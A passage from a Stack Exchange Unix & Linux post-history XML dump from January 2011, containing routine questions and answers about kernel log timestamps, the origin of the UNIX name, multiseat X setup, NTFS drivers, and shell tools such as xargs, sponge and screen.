right for the middle monitors somehow.  with 4 monitors that alternate like that though it sounds like it might get pretty complicated.  I hope this helped." />
  <row Id="13156" PostHistoryTypeId="5" PostId="5804" RevisionGUID="da2e7c9a-c5ad-4f3b-813b-5a2f6c658d4a" CreationDate="2011-01-14T05:19:41.953" UserId="1535" Comment="added link to and gleanings from syslogdriver" Text="`/var/log/messages`, `/var/log/syslog`, and some other log files use a timestamp which contains an absolute time, like `Jan 13 14:13:10`.&#xD;&#xA;&#xD;&#xA;`/var/log/Xorg.0.log` and `/var/log/dmesg`, as well as the output of `$ dmesg`, use a format that looks like&#xD;&#xA;&#xD;&#xA;    [50595.991610] malkovich: malkovich malkovich malkovich malkovich&#xD;&#xA;&#xD;&#xA;I'm guessing/gathering that the numbers represent seconds and microseconds since startup.&#xD;&#xA;&#xD;&#xA;However, my attempt to correlate these two sets of timestamps (using the output from `uptime`) gave a discrepancy of about 5000 seconds.&#xD;&#xA;&#xD;&#xA;This is roughly the amount of time my computer was suspended for.&#xD;&#xA;&#xD;&#xA;Is there a convenient way to map the numeric timestamps used by dmesg and Xorg into absolute timestamps?&#xD;&#xA;&#xD;&#xA;## update&#xD;&#xA;&#xD;&#xA;As a preliminary step towards getting this figured out, and also to hopefully make my question a bit more clear, I've written a [Python script](https://github.com/intuited/syslogdriver) to parse `/var/log/syslog` and output the time skew.  It outputs a line for each line in that file which contains a kernel timestamp.&#xD;&#xA;&#xD;&#xA;### Usage:&#xD;&#xA;&#xD;&#xA;    python syslogdriver.py /var/log/syslog | column -nts $'\t'&#xD;&#xA;&#xD;&#xA;### Expurgated output (see below for column definitions):&#xD;&#xA;&#xD;&#xA;    abs              abs_since_boot  rel_time      rel_offset  message&#xD;&#xA;    Jan 13 07:49:15  32842.1276569   32842.301498  0           malkovich malkovich&#xD;&#xA;&#xD;&#xA;*... `rel_offset` is 0 for all intervening lines ...*&#xD;&#xA;&#xD;&#xA;    Jan 13 09:55:14  40401.1276569   40401.306386  0           PM: Syncing filesystems ... done.&#xD;&#xA;    Jan 13 09:55:14  40401.1276569   40401.347469  0           PM: Preparing system for mem sleep&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40402.128198  -5280       Skipping EDID probe due to cached edid&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40402.729152  -5280       Freezing user space processes ... (elapsed 0.03 seconds) done.&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40402.760110  -5280       Freezing remaining freezable tasks ... (elapsed 0.01 seconds) done.&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40402.776102  -5280       PM: Entering mem sleep&#xD;&#xA;    &#xD;&#xA;*... `rel_offset` is -5280 for all remaining lines ...*&#xD;&#xA;&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149074  -5280       ACPI: Preparing to enter system sleep state S3&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149477  -5280       PM: Saving platform NVS memory&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149495  -5280       Disabling non-boot CPUs ...&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149495  -5280       Back to C!&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149495  -5280       PM: Restoring platform NVS memory&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.151034  -5280       ACPI: Waking up from system sleep state S3&#xD;&#xA;    &#xD;&#xA;*... The final lines are from a bit further down, still well above the end of the output.*  Some of them presumably got written to `dmesg`'s circular buffer before the suspend happened, and were only propagated to `syslog` afterwards.  This explains why all of them have the same syslog timestamp.&#xD;&#xA;&#xD;&#xA;### Column definitions:&#xD;&#xA;&#xD;&#xA;`abs` is the time logged by syslog.&#xD;&#xA;&#xD;&#xA;`abs_since_boot` is that same time in seconds since system startup, based on the contents of `/proc/uptime` and the value of `time.time()`.&#xD;&#xA;&#xD;&#xA;`rel_time` is the kernel timestamp.&#xD;&#xA;&#xD;&#xA;`rel_offset` is the difference between `abs_since_boot` and `rel_time`.  I'm rounding this to the tens of seconds so as to avoid one-off errors due to the absolute (i.e. `syslog`-generated) timestamps only having seconds precision.  That's actually not the right way to do it, since it really (I think..) just results in a smaller chance of having an off-by-10 error.  If somebody has a better idea, please let me know.&#xD;&#xA;&#xD;&#xA;I also have some questions about syslog's date format; in particular, I'm wondering if a year ever shows up in it.  I'm guessing no, and in any case could most likely help myself to that information in TFM, but if somebody happens to know it would be useful.  ..Assuming, of course, that someone uses this script at some point in the future, instead of just busting out a couple of lines of Perl code.&#xD;&#xA;&#xD;&#xA;### Next:&#xD;&#xA;&#xD;&#xA;So unless some welcome revelation is unto me given by one of You, my next step will be to add a function to get the time skew for a given kernel timestamp.  I should be able to feed the script one or a set of syslogs, along with a kernel timestamp, to get an absolute timestamp.  Then I can get back to debugging my Xorg issues, which escape me at the moment." />
  <row Id="13157" PostHistoryTypeId="5" PostId="5804" RevisionGUID="ada024fc-6240-4387-895e-c1d1472aabd9" CreationDate="2011-01-14T05:37:03.273" UserId="1535" Comment="clarify syslog format" Text="`/var/log/messages`, `/var/log/syslog`, and some other log files use a timestamp which contains an absolute time, like `Jan 13 14:13:10`.&#xD;&#xA;&#xD;&#xA;`/var/log/Xorg.0.log` and `/var/log/dmesg`, as well as the output of `$ dmesg`, use a format that looks like&#xD;&#xA;&#xD;&#xA;    [50595.991610] malkovich: malkovich malkovich malkovich malkovich&#xD;&#xA;&#xD;&#xA;I'm guessing/gathering that the numbers represent seconds and microseconds since startup.&#xD;&#xA;&#xD;&#xA;However, my attempt to correlate these two sets of timestamps (using the output from `uptime`) gave a discrepancy of about 5000 seconds.&#xD;&#xA;&#xD;&#xA;This is roughly the amount of time my computer was suspended for.&#xD;&#xA;&#xD;&#xA;Is there a convenient way to map the numeric timestamps used by dmesg and Xorg into absolute timestamps?&#xD;&#xA;&#xD;&#xA;## update&#xD;&#xA;&#xD;&#xA;As a preliminary step towards getting this figured out, and also to hopefully make my question a bit more clear, I've written a [Python script](https://github.com/intuited/syslogdriver) to parse `/var/log/syslog` and output the time skew.  On my machine, running ubuntu 10.10, that file contains numerous kernel-originated lines which are stamped both with the dmesg timestamp and the syslog timestamp.  The script outputs a line for each line in that file which contains a kernel timestamp.&#xD;&#xA;&#xD;&#xA;### Usage:&#xD;&#xA;&#xD;&#xA;    python syslogdriver.py /var/log/syslog | column -nts $'\t'&#xD;&#xA;&#xD;&#xA;### Expurgated output (see below for column definitions):&#xD;&#xA;&#xD;&#xA;    abs              abs_since_boot  rel_time      rel_offset  message&#xD;&#xA;    Jan 13 07:49:15  32842.1276569   32842.301498  0           malkovich malkovich&#xD;&#xA;&#xD;&#xA;*... `rel_offset` is 0 for all intervening lines ...*&#xD;&#xA;&#xD;&#xA;    Jan 13 09:55:14  40401.1276569   40401.306386  0           PM: Syncing filesystems ... done.&#xD;&#xA;    Jan 13 09:55:14  40401.1276569   40401.347469  0           PM: Preparing system for mem sleep&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40402.128198  -5280       Skipping EDID probe due to cached edid&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40402.729152  -5280       Freezing user space processes ... (elapsed 0.03 seconds) done.&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40402.760110  -5280       Freezing remaining freezable tasks ... (elapsed 0.01 seconds) done.&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40402.776102  -5280       PM: Entering mem sleep&#xD;&#xA;    &#xD;&#xA;*... `rel_offset` is -5280 for all remaining lines ...*&#xD;&#xA;&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149074  -5280       ACPI: Preparing to enter system sleep state S3&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149477  -5280       PM: Saving platform NVS memory&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149495  -5280       Disabling non-boot CPUs ...&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149495  -5280       Back to C!&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.149495  -5280       PM: Restoring platform NVS memory&#xD;&#xA;    Jan 13 11:23:21  45688.1276569   40403.151034  -5280       ACPI: Waking up from system sleep state S3&#xD;&#xA;    &#xD;&#xA;*... The final lines are from a bit further down, still well above the end of the output.*  Some of them presumably got written to `dmesg`'s circular buffer before the suspend happened, and were only propagated to `syslog` afterwards.  This explains why all of them have the same syslog timestamp.&#xD;&#xA;&#xD;&#xA;### Column definitions:&#xD;&#xA;&#xD;&#xA;`abs` is the time logged by syslog.&#xD;&#xA;&#xD;&#xA;`abs_since_boot` is that same time in seconds since system startup, based on the contents of `/proc/uptime` and the value of `time.time()`.&#xD;&#xA;&#xD;&#xA;`rel_time` is the kernel timestamp.&#xD;&#xA;&#xD;&#xA;`rel_offset` is the difference between `abs_since_boot` and `rel_time`.  I'm rounding this to the tens of seconds so as to avoid one-off errors due to the absolute (i.e. `syslog`-generated) timestamps only having seconds precision.  That's actually not the right way to do it, since it really (I think..) just results in a smaller chance of having an off-by-10 error.  If somebody has a better idea, please let me know.&#xD;&#xA;&#xD;&#xA;I also have some questions about syslog's date format; in particular, I'm wondering if a year ever shows up in it.  I'm guessing no, and in any case could most likely help myself to that information in TFM, but if somebody happens to know it would be useful.  ..Assuming, of course, that someone uses this script at some point in the future, instead of just busting out a couple of lines of Perl code.&#xD;&#xA;&#xD;&#xA;### Next:&#xD;&#xA;&#xD;&#xA;So unless some welcome revelation is unto me given by one of You, my next step will be to add a function to get the time skew for a given kernel timestamp.  I should be able to feed the script one or a set of syslogs, along with a kernel timestamp, to get an absolute timestamp.  Then I can get back to debugging my Xorg issues, which escape me at the moment." />
  <row Id="13158" PostHistoryTypeId="2" PostId="5837" RevisionGUID="80da8d42-940f-4f85-b93d-9ab037326d9c" CreationDate="2011-01-14T05:45:06.917" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;Is there any full form exists for the word 'UNIX' ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;/kanu" />
  <row Id="13159" PostHistoryTypeId="1" PostId="5837" RevisionGUID="80da8d42-940f-4f85-b93d-9ab037326d9c" CreationDate="2011-01-14T05:45:06.917" UserId="2269" Text="Expansion of the word UNIX?" />
  <row Id="13160" PostHistoryTypeId="3" PostId="5837" RevisionGUID="80da8d42-940f-4f85-b93d-9ab037326d9c" CreationDate="2011-01-14T05:45:06.917" UserId="2269" Text="éunixà" />
  <row Id="13161" PostHistoryTypeId="2" PostId="5838" RevisionGUID="7c4ca9e4-385d-4732-9f36-900aa05ac3d1" CreationDate="2011-01-14T06:14:32.090" UserId="3764" Text="Despite often being written in all caps, UNIX is not an acronym, therefore it doesn't have a full expansion. The name is a play on Multics which was an acronym (Multiplexed Information and Computing Service). That was an other early operating system around at the time of Unix creation.&#xD;&#xA;&#xD;&#xA;Edit: As Marc stated it was originaly called Unics but once it could support multiple users it was renamed Unix which is not an acronym." />
  <row Id="13162" PostHistoryTypeId="2" PostId="5839" RevisionGUID="13c1ff90-caa9-4431-9981-acee9a7114ed" CreationDate="2011-01-14T06:14:32.780" UserId="3765" Text="First, there was UNICS for Uniplexed Information Computing System. Then the name changed for UNIX. Same pronunciation." />
  <row Id="13163" PostHistoryTypeId="2" PostId="5840" RevisionGUID="0e22dcba-16ff-483c-bc51-c1a30fa5f079" CreationDate="2011-01-14T06:21:31.293" UserId="3468" Text="Hi, this is more than an interface such as Webmin, but a Ubuntu based distribution with OpenLDAP, Samba, nice GUI with user self service, and lots more.... [Zentayl][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zentyal.org/" />
  <row Id="13164" PostHistoryTypeId="5" PostId="5837" RevisionGUID="81402e96-05e9-4a52-827c-725f416fd953" CreationDate="2011-01-14T06:30:59.510" UserId="73" Comment="deleted 28 characters in body; edited tags" Text="Is UNIX an acronym? What does it stand for?&#xD;&#xA;" />
  <row Id="13165" PostHistoryTypeId="6" PostId="5837" RevisionGUID="81402e96-05e9-4a52-827c-725f416fd953" CreationDate="2011-01-14T06:30:59.510" UserId="73" Comment="deleted 28 characters in body; edited tags" Text="éunixàéhistoryà" />
  <row Id="13166" PostHistoryTypeId="2" PostId="5841" RevisionGUID="8bcf9231-4547-413e-a9e9-7cba01d3c6f4" CreationDate="2011-01-14T06:40:44.827" UserId="3468" Text="Look for [multiseat][1] and you will find the info you need. The linked Wikipedia article even describes where MDM fits in.&#xD;&#xA;&#xD;&#xA;Im a Debian fan so check out [Debian Wiki][2] or the [Ubuntu Community Docs][3]. XORG has a [good collection][4] of multiseat info, including this [detailed how-to][5].&#xD;&#xA;&#xD;&#xA;Good Luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Multiseat_configuration&#xD;&#xA;  [2]: http://wiki.debian.org/Multi_Seat_Debian_HOWTO&#xD;&#xA;  [3]: https://help.ubuntu.com/community/MultiseatX&#xD;&#xA;  [4]: http://www.x.org/wiki/Development/Documentation/Multiseat&#xD;&#xA;  [5]: http://www.linuxtoys.org/multiseat/multiseat.html" />
  <row Id="13167" PostHistoryTypeId="5" PostId="5772" RevisionGUID="bcca1b40-8747-4227-a07b-84945c34ad7c" CreationDate="2011-01-14T07:12:45.093" UserId="2327" Comment="added information; added 2 characters in body" Text="My default answer to such questions would be `sar` ([System Activity Reporter](http://linux.die.net/man/1/sar)) from the [sysstat](http://sebastien.godard.pagesperso-orange.fr/) package.&#xD;&#xA;&#xD;&#xA;But as far as I know, `sar` doesn't collect an equivalent to the output of `ps`. So perhaps the combination of `sar` and elmarcos answer (regularly capture the output of `ps`) would help.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Steve D has mentioned `pidstat` in [this question](http://unix.stackexchange.com/questions/5783/is-there-a-tool-that-allows-logging-of-memory-usage/5791#5791). This seems more suited for your needs." />
  <row Id="13168" PostHistoryTypeId="25" PostId="5837" RevisionGUID="84a4d7f1-7d32-4a6a-a384-7617de2b88e9" CreationDate="2011-01-14T07:55:34.230" Comment="http://twitter.com/#!/StackUnix/status/25823320582660096" />
  <row Id="13169" PostHistoryTypeId="5" PostId="5744" RevisionGUID="3fcff5da-3f4e-4d74-abde-75f71b37635c" CreationDate="2011-01-14T08:00:53.990" UserId="3069" Comment="added 574 characters in body" Text="Till Linux 2.6.22, `bzImage` contained:&#xD;&#xA;&#xD;&#xA; - bbootsect ([`bootsect.o`][1]): &#xD;&#xA; - bsetup ([`setup.o`][2])&#xD;&#xA; - bvmlinux ([`head.o`][3], [`misc.o`][4], `piggy.o`)&#xD;&#xA;&#xD;&#xA;Linux 2.6.23 merged bbootsect and bsetup into one ([`header.o`][5]).&#xD;&#xA;&#xD;&#xA;At boot up, the kernel needs to initialize some sequences (see the header file above) which are only necessary to bring the system into a desired, usable state. At runtime, those sequences are not important anymore (so why include them into the running kernel?).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`System.map` stands in relation with `vmlinux`, `bzImage` is just the compressed container, out of which `vmlinux` gets extracted at boot time (=&gt; `bzImage` doesn't really care about `System.map`).&#xD;&#xA;&#xD;&#xA;Linux 2.5.39 intruduced `CONFIG_KALLSYMS`. If enabled, the kernel keeps it's own map of symbols (`/proc/kallsyms`).&#xD;&#xA;&#xD;&#xA;`System.map` is primary used by user space programs like `klogd` and `ksymoops` for debugging purposes.&#xD;&#xA;&#xD;&#xA;Where to put `System.map` depends on the user space programs which consults it.  &#xD;&#xA;`ksymoops` tries to get the symbol map either from `/proc/ksyms` or `/usr/src/linux/System.map`.  &#xD;&#xA;`klogd` searches in `/boot/System.map`, `/System.map` and `/usr/src/linux/System.map`.&#xD;&#xA;&#xD;&#xA;Removing `/boot/System.map` generated no problems on a Linux system with kernel 2.6.27.19 .&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.22.19/arch/i386/boot/bootsect.S&#xD;&#xA;  [2]: http://lxr.linux.no/#linux+v2.6.22.19/arch/i386/boot/setup.S&#xD;&#xA;  [3]: http://lxr.linux.no/#linux+v2.6.22.19/arch/i386/boot/compressed/head.S&#xD;&#xA;  [4]: http://lxr.linux.no/#linux+v2.6.22.19/arch/i386/boot/compressed/misc.c&#xD;&#xA;  [5]: http://lxr.linux.no/#linux+v2.6.37/arch/x86/boot/header.S" />
  <row Id="13170" PostHistoryTypeId="2" PostId="5842" RevisionGUID="98baf28d-8cda-4ec8-8a5a-72579ca9139d" CreationDate="2011-01-14T08:22:46.670" UserId="3372" Text="If I understood your needs you have to bind one screen, keyboard and one mouse to one ServerLayout and the others to the second one.&#xD;&#xA;&#xD;&#xA;http://cambuca.ldhs.cetuc.puc-rio.br/multiuser/&#xD;&#xA;&#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier &quot;Layout0&quot;&#xD;&#xA;        Screen 0 &quot;Screen0&quot;&#xD;&#xA;        InputDevice &quot;Mouse0&quot; &quot;CorePointer&quot;&#xD;&#xA;        InputDevice &quot;Keyboard0&quot; &quot;CoreKeyboard&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier &quot;Layout1&quot;&#xD;&#xA;        Screen 0 &quot;Screen1&quot;&#xD;&#xA;        InputDevice &quot;Mouse0&quot; &quot;CorePointer&quot;&#xD;&#xA;        InputDevice &quot;Keyboard0&quot; &quot;CoreKeyboard&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;This is, as far as I know, the only way to proceed.&#xD;&#xA;&#xD;&#xA;Also Arch as one good tutorial:&#xD;&#xA;&#xD;&#xA;http://cambuca.ldhs.cetuc.puc-rio.br/multiuser/&#xD;&#xA;&#xD;&#xA;And Linux Toys show you even how to put in place a 6 seated setup&#xD;&#xA;&#xD;&#xA;http://www.linuxtoys.org/multiseat/multiseat.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13171" PostHistoryTypeId="2" PostId="5843" RevisionGUID="b80ce4cf-4ce2-4273-bae4-c598147afa76" CreationDate="2011-01-14T08:31:32.407" UserId="250" Text="When configuring the kernel I see an option to add read-write support for NTFS. Then when mounting my NTFS partition I still have to install ntfs-3g and pass ntfs-3g as the type. I thought if I add NTFS support in the kernel then I wouldn't have to install a library for it. Why is it so?" />
  <row Id="13172" PostHistoryTypeId="1" PostId="5843" RevisionGUID="b80ce4cf-4ce2-4273-bae4-c598147afa76" CreationDate="2011-01-14T08:31:32.407" UserId="250" Text="Why do I need ntfs-3g when I have already enabled NTFS support in the kernel?" />
  <row Id="13173" PostHistoryTypeId="3" PostId="5843" RevisionGUID="b80ce4cf-4ce2-4273-bae4-c598147afa76" CreationDate="2011-01-14T08:31:32.407" UserId="250" Text="ékernelàéfilesystemsàéntfsàéntfsö3gà" />
  <row Id="13174" PostHistoryTypeId="5" PostId="5244" RevisionGUID="9f980c99-925f-49c9-86b7-05fb13df05e2" CreationDate="2011-01-14T08:40:30.967" UserId="250" Comment="make clear what I want" Text="Currently I have a NTFS partition that contains shared data. My rationale is, NTFS doesn't have any idea about file permissions, so I won't have any trouble using them in a multi-boot system (currently I have Gentoo and Ubuntu, and the data partition is auto-mounted on both). Now I want to get rid of the NTFS thing, if possible. So the question is, how can I use something like `ext4` and setup the same thing?&#xD;&#xA;&#xD;&#xA;**Update**: Sorry I should have made it clear that I only have Linux distributions, so no problem with `ext4`. I just want to have a partition that contains world-readable files and is automounted at boot." />
  <row Id="13175" PostHistoryTypeId="4" PostId="5244" RevisionGUID="9f980c99-925f-49c9-86b7-05fb13df05e2" CreationDate="2011-01-14T08:40:30.967" UserId="250" Comment="make clear what I want" Text="How to setup a &quot;data&quot; partition shared by multiple Linux OS'es?" />
  <row Id="13177" PostHistoryTypeId="2" PostId="5844" RevisionGUID="3f229a46-950b-4af1-991b-a86fc639d0c1" CreationDate="2011-01-14T09:00:17.277" UserId="3625" Text="The kernel driver is still read only and has no full write support yet, only with many restrictions." />
  <row Id="13178" PostHistoryTypeId="2" PostId="5845" RevisionGUID="77b28d07-522f-4451-9877-218be2afc1fd" CreationDate="2011-01-14T09:20:50.870" UserId="3646" Text="You can use xargs to construct a command line e.g.: &#xD;&#xA;&#xD;&#xA;    echo file | xargs -i -- echo ls -l {}\; wc -l {}&#xD;&#xA;&#xD;&#xA;Just pipe the above into bash to run it: &#xD;&#xA;&#xD;&#xA;    echo file | xargs -i -- echo ls -l {}\; wc -l {} | bash&#xD;&#xA;&#xD;&#xA;Extending the example to all the *.c files in the current directory (escaping the *ls* here to prevent any shell alias substitution): &#xD;&#xA;&#xD;&#xA;    \ls -1 *.c | xargs -i -- echo ls -l {}\; wc -l {} | bash" />
  <row Id="13179" PostHistoryTypeId="2" PostId="5846" RevisionGUID="b4aa5815-cda3-4826-bd01-342aac411f6f" CreationDate="2011-01-14T09:27:49.637" UserId="3154" Text="The moreutils package from ubuntu (and probably also debian) has a program called sponge, which sort-of also solves your problem.&#xD;&#xA;&#xD;&#xA;From man sponge:&#xD;&#xA;&#xD;&#xA;&gt; sponge  reads  standard  input and&#xD;&#xA;&gt; writes it out to the specified file.&#xD;&#xA;&gt; Unlike a shell redirect, sponge soaks&#xD;&#xA;&gt; up all its input  before  opening the &#xD;&#xA;&gt; output file. This allows constricting&#xD;&#xA;&gt; pipelines that read from and write to&#xD;&#xA;&gt; the same file.&#xD;&#xA;&#xD;&#xA;Which would let you do something like:&#xD;&#xA;&#xD;&#xA;    cut -d &lt;delim&gt; -f &lt;fields&gt; somefile | sponge somefile" />
  <row Id="13180" PostHistoryTypeId="2" PostId="5847" RevisionGUID="b52158f8-37f7-4420-9f78-fea063624016" CreationDate="2011-01-14T10:01:52.987" UserId="3778" Text="I've been trying to set up an automated backup system for a minecraft server, and I'm having trouble with screen, specifically when using 'screen -r sessionname -X &quot;/var/minecraft/somebatchfile&quot;', nothing happens.&#xD;&#xA;&#xD;&#xA;My process flow is somewhat like this at the moment:&#xD;&#xA;&#xD;&#xA;`screen -m -d -S minecraft /var/minecraft/bin/server_nogui.sh`&#xD;&#xA;&#xD;&#xA;This starts the minecraft server without any trouble.  However, the issue is that even simple followups like this fail:&#xD;&#xA;&#xD;&#xA;`screen -r minecraft -X &quot;stop&quot;`&#xD;&#xA;&#xD;&#xA;I get no error message or success message, and the server does not actually disconnect clients and shut down, like it should.  I assume I'm doing something wrong, but I don't know what.  Is there some obvious mistake I'm making?  I've read the man page a bit but I'm having no luck figuring it out myself.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13181" PostHistoryTypeId="1" PostId="5847" RevisionGUID="b52158f8-37f7-4420-9f78-fea063624016" CreationDate="2011-01-14T10:01:52.987" UserId="3778" Text="Why is screen seemingly doing nothing with commands passed with -X?" />
  <row Id="13182" PostHistoryTypeId="3" PostId="5847" RevisionGUID="b52158f8-37f7-4420-9f78-fea063624016" CreationDate="2011-01-14T10:01:52.987" UserId="3778" Text="éubuntuàéscreenà" />
  <row Id="13183" PostHistoryTypeId="2" PostId="5848" RevisionGUID="6ab2c95b-7e46-4600-9390-dea4a532e6f7" CreationDate="2011-01-14T10:22:00.333" UserId="3069" Text="You have to give the parameter `-X` a `screen` command, I think you want to &quot;stuff&quot; a minecraft-server command to the `screen` session.&#xD;&#xA;&#xD;&#xA;    screen -r minecraft -X stuff &quot;stop $(echo -ne '\r')&quot;&#xD;&#xA;&#xD;&#xA;The `echo` send a carriage return, so the command &quot;stop&quot; gets executed." />
  <row Id="13184" PostHistoryTypeId="25" PostId="5843" RevisionGUID="19e5694d-6dc9-46a6-9263-452ce9d846f9" CreationDate="2011-01-14T10:55:34.677" Comment="http://twitter.com/#!/StackUnix/status/25868621343367168" />
  <row Id="13185" PostHistoryTypeId="5" PostId="5541" RevisionGUID="bc9c86d8-05ed-4464-9888-e215b5f3bd56" CreationDate="2011-01-14T11:10:56.027" UserId="688" Comment="added 93 characters in body; deleted 6 characters in body" Text="How I do this is have a look at `top`, sort by memory usage, and look at what seems useless.&#xD;&#xA;&#xD;&#xA;Here's an example scenario of a GNOME user who's always connected to a single LAN point:&#xD;&#xA;&#xD;&#xA;* you don't need Network Manager; it only start to be really useful if you have a more advanced networking setup (EG: bluetooth, wi-fi, 3G)&#xD;&#xA;* it's listed as NetworkManager on `top`&#xD;&#xA;* find out [which package it belongs to][1]&#xD;&#xA;* remove it&#xD;&#xA;* reset your PC and see if things are still ok&#xD;&#xA;* note that by doing this, you would also have got rid of other daemons&#xD;&#xA;&#xD;&#xA;As others have noted, you might also try other Desktops (XFCE and LXDE), which will drastically help in terms of memory usage. Note also that Firefox is a memory hog, and if you not dependent on all those useful plugins, try alternatives, like [Epiphany][2]. If you depend on Firefox (or any other memory hog), avoid opening dozens of tabs. Use bookmarks instead, if you want to keep a tab on things (pun not intended).&#xD;&#xA;&#xD;&#xA;This process might take some time, and I encourage you to experiment, and whenever you encounter a daemon you don't recognize, check it's man page or Google it, to ensure that you won't be screwing your system up.&#xD;&#xA;&#xD;&#xA;Other services that I can think of, and you might not be using are __apache__, __ssh-server__, and (in the case of Ubuntu) [__ubuntu-one__][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4705/how-to-find-out-which-package-a-file-belongs-to&#xD;&#xA;  [2]: http://projects.gnome.org/epiphany/&#xD;&#xA;  [3]: http://askubuntu.com/questions/8002/how-to-remove-everything-ubuntu-one-related" />
  <row Id="13186" PostHistoryTypeId="2" PostId="5849" RevisionGUID="c5508925-bdf6-4375-ade1-7728e89f76bf" CreationDate="2011-01-14T11:36:24.913" UserId="2634" Text="You could try [Valgrind][1]. &#xD;&#xA;&#xD;&#xA;&gt; Valgrind is an instrumentation&#xD;&#xA;&gt; framework for building dynamic&#xD;&#xA;&gt; analysis tools. There are Valgrind&#xD;&#xA;&gt; tools that can automatically detect&#xD;&#xA;&gt; many memory management and threading&#xD;&#xA;&gt; bugs, and profile your programs in&#xD;&#xA;&gt; detail. You can also use Valgrind to&#xD;&#xA;&gt; build new tools.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Valgrind distribution currently&#xD;&#xA;&gt; includes six production-quality tools:&#xD;&#xA;&gt; a **memory error detector**, two thread&#xD;&#xA;&gt; error detectors, a cache and&#xD;&#xA;&gt; branch-prediction profiler, a&#xD;&#xA;&gt; call-graph generating cache and&#xD;&#xA;&gt; branch-prediction profiler, and a **heap&#xD;&#xA;&gt; profiler**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://valgrind.org/" />
  <row Id="13187" PostHistoryTypeId="5" PostId="5848" RevisionGUID="23e81f17-ff54-4edf-87ec-4c542e32dd9c" CreationDate="2011-01-14T12:26:36.180" UserId="3069" Comment="added 382 characters in body" Text="You have to give the parameter `-X` a `screen` command, I think you want to &quot;stuff&quot; a minecraft-server command to the `screen` session.&#xD;&#xA;&#xD;&#xA;    screen -r minecraft -X stuff &quot;stop $(echo -ne '\r')&quot;&#xD;&#xA;&#xD;&#xA;The `echo` send a carriage return, so the command &quot;stop&quot; gets executed.&#xD;&#xA;&#xD;&#xA;For sending it over `ssh` you have to enclosure the command in `&quot; &quot;` (you could also use `` ` ` ``, but that wouldn't let you do the command substitution).&#xD;&#xA;&#xD;&#xA;    ssh -t -i ~/.ssh/id_dsa server_user@server_address &quot;screen -r minecraft -X stuff &quot;even other_server_name is getting in on the action\! $(echo -ne '\r')&quot;&quot;&#xD;&#xA;&#xD;&#xA;Beware that `!` is a reserved word, you have to escape it." />
  <row Id="13188" PostHistoryTypeId="5" PostId="5848" RevisionGUID="511814f0-a572-4f61-8055-96db1485577e" CreationDate="2011-01-14T12:42:21.143" UserId="3069" Comment="added 400 characters in body" Text="You have to give the parameter `-X` a `screen` command, I think you want to &quot;stuff&quot; a minecraft-server command to the `screen` session.&#xD;&#xA;&#xD;&#xA;    screen -r minecraft -X stuff &quot;stop $(echo -ne '\r')&quot;&#xD;&#xA;&#xD;&#xA;The `echo` send a carriage return, so the command &quot;stop&quot; gets executed.&#xD;&#xA;&#xD;&#xA;For sending it over `ssh` you have to enclosure the command in `&quot; &quot;` (you could also use `` ` ` ``, but that wouldn't let you do the command substitution).&#xD;&#xA;&#xD;&#xA;    ssh -t -i ~/.ssh/id_dsa server_user@server_address &quot;screen -r minecraft -X stuff &quot;even other_server_name is getting in on the action\! $(echo -ne '\r')&quot;&quot;&#xD;&#xA;&#xD;&#xA;Beware that `!` is a reserved word, you have to escape it.&#xD;&#xA;&#xD;&#xA;It is also [possible][1] to include a user generated newline into the command to execute it:&#xD;&#xA;&#xD;&#xA;    ssh -t -i ~/.ssh/id_dsa server_user@server_address &quot;screen -r minecraft -X stuff 'even other_server_name is getting in on the action!&#xD;&#xA;    '&quot;&#xD;&#xA;&#xD;&#xA;Escaping `!` isn't necessary here.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5546/connect-to-byobu-screen-session-and-execute-command/5548#5548" />
  <row Id="13189" PostHistoryTypeId="2" PostId="5850" RevisionGUID="f6e42025-738e-4c54-9550-66042c4d95c3" CreationDate="2011-01-14T13:30:57.277" UserId="3496" Text="I just installed Xorg on Arch Linux but when I run startx, I only get a blank screen. What could be the problem here?" />
  <row Id="13190" PostHistoryTypeId="1" PostId="5850" RevisionGUID="f6e42025-738e-4c54-9550-66042c4d95c3" CreationDate="2011-01-14T13:30:57.277" UserId="3496" Text="startx results in blank screen." />
  <row Id="13191" PostHistoryTypeId="3" PostId="5850" RevisionGUID="f6e42025-738e-4c54-9550-66042c4d95c3" CreationDate="2011-01-14T13:30:57.277" UserId="3496" Text="éxorgàéarchölinuxà" />
